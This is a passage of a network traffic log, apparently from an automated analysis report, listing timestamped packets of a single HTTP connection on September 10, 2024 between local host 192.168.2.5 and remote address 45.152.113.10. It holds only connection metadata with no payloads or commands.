Sep 10, 2024 19:36:09.674098969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674110889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674124956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674137115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674140930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674148083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674154043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674160004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674165010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674189091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674190044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674200058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674211025 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674211979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674227953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674243927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674257040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674293995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674310923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674323082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674333096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674339056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674344063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674349070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674355984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674356937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674367905 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674379110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674388885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674401045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674418926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674431086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674441099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674453020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674453020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674464941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674472094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674495935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674495935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674506903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674510956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674519062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674530029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674536943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674547911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674549103 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674560070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674567938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674586058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674607992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674632072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674644947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674658060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674663067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674669981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674674988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674685001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674688101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674691916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.674727917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.674756050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.757772923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757791042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757802963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757813931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757823944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757836103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757838964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.757848978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757858038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.757858992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757872105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757884026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.757900953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.757924080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.757939100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757951021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.757998943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758025885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758038044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758052111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758058071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758069038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758069992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758093119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758117914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758142948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758152962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758162022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758172035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758183002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758184910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758194923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758210897 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758235931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758261919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758274078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758282900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758294106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758301973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758306026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758327961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758356094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758363008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758367062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758378029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758387089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758398056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758416891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758416891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758445978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758510113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758519888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758528948 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758539915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758550882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758552074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758562088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758570910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758572102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758583069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758594036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758601904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758605003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758615971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758615971 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758630991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758644104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758646965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758662939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758667946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758672953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.758683920 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758716106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.758948088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759008884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759033918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759044886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759063005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759073019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759080887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759083986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759098053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759113073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759126902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759138107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759170055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759193897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759206057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759216070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759227037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759238005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759239912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759251118 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759275913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759295940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759305000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759315968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.759346962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.759357929 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763333082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763374090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763401985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763422012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763442039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763483047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763487101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763514996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763528109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763547897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763565063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763586998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763595104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763621092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763636112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763664007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763680935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763698101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763710976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763741970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763741970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763778925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763784885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763812065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763825893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763844013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763858080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763860941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763868093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763878107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763885021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763890982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763901949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763901949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763911009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763922930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763941050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763951063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763953924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763953924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763961077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763971090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763977051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.763982058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.763993025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764003038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764004946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764018059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764028072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764030933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764054060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764062881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764065027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764075041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764084101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764091969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764091969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764094114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764106035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764116049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764125109 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764127016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764137030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764147043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764153004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764158010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764172077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764190912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764215946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764225960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764254093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764265060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764270067 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764275074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764285088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764295101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764302969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764302969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764306068 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764316082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764321089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764327049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764337063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764347076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764353037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764358044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764362097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764368057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.764381886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.764409065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844014883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844027996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844038963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844074011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844084024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844094992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844127893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844130993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844144106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844152927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844163895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844163895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844182014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844199896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844212055 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844233036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844266891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844266891 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844290018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844300985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844311953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844321966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844335079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844358921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844383001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844407082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844419956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844430923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844440937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844451904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844461918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844468117 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844469070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844492912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844492912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844518900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844521999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844538927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844552040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844563007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844563961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844573975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844583988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844584942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844604015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844630957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844660997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844672918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844682932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844693899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844702005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844705105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844719887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844729900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844732046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844764948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844801903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844898939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844909906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844922066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844935894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844939947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844947100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844958067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844969034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844970942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.844979048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.844983101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845005035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845027924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845189095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845200062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845237017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845237017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845387936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845397949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845408916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845418930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845427036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845429897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845437050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:09.845439911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:09.845451117 CEST	80	49707	45.152.113.10	192.168.2.5
